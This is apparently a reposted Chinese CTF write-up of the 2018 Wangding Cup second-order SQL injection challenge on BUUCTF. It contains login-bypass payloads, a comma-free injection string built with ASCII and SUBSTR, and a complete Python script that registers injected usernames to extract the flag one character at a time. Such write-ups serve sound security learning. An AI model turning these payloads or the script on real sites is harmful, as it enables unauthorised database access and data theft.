当前位置: 首页 > news >正文

网络安全--网鼎杯2018漏洞复现(二次注入)

一、环境:在线测试平台

BUUCTF在线评测 (buuoj.cn)

二、进入界面先尝试万能账号

1'or'1'='1'#

换格式 hais1bux1

1@1'or'1'='1'#

 

三、万能的不行那我们就得想注册了,去register.php去看看 

注册个账号

 发现用户名回显,猜测考点为用户名处二次注入,再次注册

 

很明显是有的 

 

三、如何解决?

在mysql中我们熟知一点是,+可以当做运算符 ,比如我们执行

select ‘1’+‘2a’

返回值为空

select '0'+database();

 

当我们用ASCII值来计算时,此时出现库第一位s的ASCII码值

select '0'+ascii(substr(database(),1,1));

因为题目中过滤掉了逗号,因此用from for来代替

0'+ascii(substr(database() from 1 for 1))+'0;

成功回显,因为过滤了information,只能猜字段名为flag,所以去用python脚本爬

脚本如下:

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/19 1:04
@version: 1.0
"""
import requests
import logging
import re
from time import sleep# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)def search():flag = ''url = 'http://19f46d59-6746-4dce-84c1-73a67354f6d1.node5.buuoj.cn/'url1 = url+'register.php'url2 = url+'login.php'for i in range(100):sleep(0.3)#不加sleep就429了QAQdata1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}r1 = requests.post(url1, data=data1)r2 = requests.post(url2, data=data2)res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)res1 = re.search(r'\d+', res.group())flag = flag+chr(int(res1.group()))print(flag)print("final:"+flag)if __name__ == '__main__':search()

四、最终答案:

 

http://www.lryc.cn/news/303278.html

相关文章:

  • CSS篇--transform
  • 阿里云国际-在阿里云服务器上快速搭建幻兽帕鲁多人服务器
  • vite 快速搭建 Vue3.0项目
  • 深入理解Python爬虫的Response对象
  • centos7下docker的安装
  • Excel SUMPRODUCT函数用法(乘积求和,分组排序)
  • C#上位机与三菱PLC的通信08---开发自己的通讯库(A-1E版)
  • ABAQUS应用04——集中质量的添加方法
  • [嵌入式系统-24]:RT-Thread -11- 内核组件编程接口 - 网络组件 - TCP/UDP Socket编程
  • 【ansible】认识ansible,了解常用的模块
  • 【LeetCode】升级打怪之路 Day 01:二分法
  • 单片机stm32智能鱼缸
  • 面试经典150题——生命游戏
  • 【C++】C++11下线程库
  • 面试经典150题——矩阵置零
  • 多端开发围炉夜话
  • 分治算法总结(Java)
  • 【云原生系列之kubernetes】--Ingress使用
  • 练习:鼠标类设计之2_类和接口
  • 【程序员英语】【美语从头学】初级篇(入门)(笔记)Lesson 15 At the Department Store 在百货商店
  • linux 安装、删除 JTAG驱动
  • CSS的伪类选择器:nth-child()
  • python celery使用队列
  • 四非保研之旅
  • 基于Java+SpringBoot的旅游路线规划系统(源码+论文)
  • AI与测试自动化:未来已来
  • 深度学习基础之《TensorFlow框架(6)—张量》
  • 第三百六十六回
  • Fiddler工具 — 18.Fiddler抓包HTTPS请求(一)
  • 多租户数据库的缓冲区共享和预分配方案设计